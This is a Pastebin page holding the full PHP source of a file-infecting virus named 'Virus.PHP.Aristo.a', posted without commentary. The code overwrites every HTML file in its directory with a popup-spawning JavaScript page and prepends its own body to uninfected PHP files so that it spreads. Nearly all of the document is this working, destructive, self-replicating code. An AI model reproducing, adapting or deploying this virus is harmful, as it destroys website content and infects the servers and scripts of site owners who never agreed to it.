Advertisement
FlyFar

Virus.PHP.Aristo.a - Source Code

Jun 13th, 2023
593
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.60 KB | Cybersecurity | 0 0
  1. <?php // Aristotle
  2. $file = $_SERVER["SCRIPT_NAME"];
  3. $break = Explode('/', $file);          
  4. $pfile = $break[count($break) - 1];
  5. $handle = fopen($pfile, 'rb');
  6. $aris = fread($handle, 2624);                    
  7. fclose($handle);
  8. $dir=opendir('.');
  9. while (($file = readdir($dir)) !== false)          
  10.   {
  11.                if (strstr($file,'.html')) {
  12.   $arisjs='<html>'.chr(13).chr(10);
  13.   $arisjs.='<head>'.chr(13).chr(10);
  14.   $arisjs.='<title>'.chr(13).chr(10);
  15.   $arisjs.='</title>'.chr(13).chr(10);
  16.   $arisjs.='<SCRIPT LANGUAGE='.chr(34).'Javascript'.chr(34).'>'.chr(13).chr(10);
  17.   $arisjs.='var x = 10'.chr(13).chr(10);                
  18.   $arisjs.='var y = 1 '.chr(13).chr(10);                          
  19.   $arisjs.='function startClock(){ '.chr(13).chr(10);
  20.   $arisjs.='x = x-y '.chr(13).chr(10);
  21.   $arisjs.='setTimeout('.chr(34).'startClock()'.chr(34).', 10)'.chr(13).chr(10);
  22.   $arisjs.='if(x==0)'.chr(13).chr(10);
  23.   $arisjs.='{'.chr(13).chr(10);
  24.   $arisjs.='aristotle = window.open('.chr(34).'http://www.ibiblio.org/wm/paint/auth/rembrandt/1650/aristotle-homer.jpg'.chr(34).')'.chr(13).chr(10);
  25.   $arisjs.='setTimeout('.chr(34).'aristotle.close()'.chr(34).',20)'.chr(13).chr(10);
  26.   $arisjs.='x=10'.chr(13).chr(10);
  27.   $arisjs.='}'.chr(13).chr(10);
  28.   $arisjs.='}'.chr(13).chr(10);
  29.   $arisjs.='</SCRIPT>'.chr(13).chr(10);
  30.   $arisjs.='</HEAD>'.chr(13).chr(10);
  31.   $arisjs.='<BODY BGCOLOR='.chr(34).'#FFFFFF'.chr(34).' onLoad='.chr(34).'startClock()'.chr(34).'>'.chr(13).chr(10);
  32.   $arisjs.='Change in all things is sweet.'.chr(13).chr(10);
  33.   $arisjs.='- Aristotle'.chr(13).chr(10);
  34.   $arisjs.='</BODY>'.chr(13).chr(10);
  35.   $arisjs.='</HTML>'.chr(13).chr(10);
  36. $b = fopen($file, 'w');
  37. fwrite($b,$arisjs);
  38. fclose($b);
  39. exec($file);    
  40.  
  41.      }
  42.                     if (strstr($file,'.php')) {  if (!strstr($file, 'Aristotle')) {  
  43.  
  44.                              $a = fopen($file,'rb');            
  45.                              $contents = fread($a, filesize($file));
  46.                              if (!strstr($contents, 'Aristotle'))
  47.                               {
  48.                                  
  49.                                                                                
  50.                                   fclose($a);
  51.                                   $b = fopen($file,'w');
  52.                                   fwrite($b, $aris.$contents);
  53.                                   fclose($b);
  54.                                }
  55.  
  56.                    }
  57.       }
  58.              if (is_dir($file)) { if (!strstr($file, '.')) { chdir($file);        
  59.  
  60.                     }
  61.  
  62.                 }
  63. }
  64. closedir($dir);
  65. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement